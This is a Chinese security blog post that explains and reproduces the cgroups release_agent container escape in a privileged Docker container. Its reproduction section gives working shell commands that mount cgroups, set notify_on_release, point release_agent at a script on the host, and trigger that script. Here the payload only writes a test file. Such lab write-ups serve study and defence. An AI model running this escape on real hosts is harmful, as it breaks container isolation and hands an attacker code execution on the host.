本文作者CVE-柠檬i
CSDN:https://blog.csdn.net/weixin_49125123
博客园:https://www.cnblogs.com/CVE-Lemon
微信公众号:Lemon安全
分析
1. 简介
Cgroups(Control Groups)是 Linux 内核的功能,用于限制、隔离和监控进程组的资源使用。每个 Cgroup 都有一个 release_agent
文件和一个 notify_on_release
文件:
release_agent
:指定一个脚本或程序,当 Cgroup 中的最后一个进程退出时,该脚本会被执行。notify_on_release
:如果设置为1
,当 Cgroup 中的最后一个进程退出时,内核会触发release_agent
中指定的脚本。
2. 逃逸原理
notify_on_release
逃逸的原理是利用 Cgroups 的 release_agent
机制。Cgroups 是 Linux 内核用于资源管理的功能,其中 release_agent
是一个脚本,当 Cgroup 中的最后一个进程退出时会被触发。攻击者可以在容器内挂载 Cgroups 文件系统,修改 notify_on_release
和 release_agent
,将 release_agent
指向宿主机的某个脚本。当容器内的进程退出时,宿主机的脚本会被执行,从而实现容器逃逸,获得宿主机的权限。该漏洞的根本原因是容器内可以操作宿主机的 Cgroups 配置,导致容器内的行为能够影响宿主机。
此操作需要 CAP_SYS_ADMIN
权限,因此默认情况下 Docker 容器无法利用该漏洞,除非以特权模式运行或显式授予 CAP_SYS_ADMIN
。
环境配置
宿主机版本以及docker版本。
拉镜像
docker pull centos
特权模式启动
docker run -itd --privileged centos /bin/bash
或者授予CAP_SYS_ADMIN
权限启动
docker run -it --cap-add=SYS_ADMIN centos /bin/bash
这里有可能是系统版本比较低的原因,不使用启动参数--security-opt apparmor=unconfined
也能复现成功。
复现
- 在容器内挂载cgroups文件系统:
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
- 创建子cgroup并设置
notify_on_release
,这个x
的目录名可以自定义:
mkdir /tmp/cgrp/x && echo 1 > /tmp/cgrp/x/notify_on_release
- 获取宿主机路径并设置
release_agent
:
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
- 在宿主机上创建恶意脚本:
echo '#!/bin/sh' > /cmd
echo 'echo "逃逸成功!" > /tmp/escape.txt' >> /cmd
chmod +x /cmd
- 在容器内启动一个进程并将其加入到子 Cgroup 中,然后退出该进程:
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
当进程退出时,release_agent
会被触发,执行宿主机的 /cmd
脚本,从而实现逃逸。
- 验证逃逸:
在宿主机上检查 /tmp/escape.txt
文件是否存在
cat /tmp/escape.txt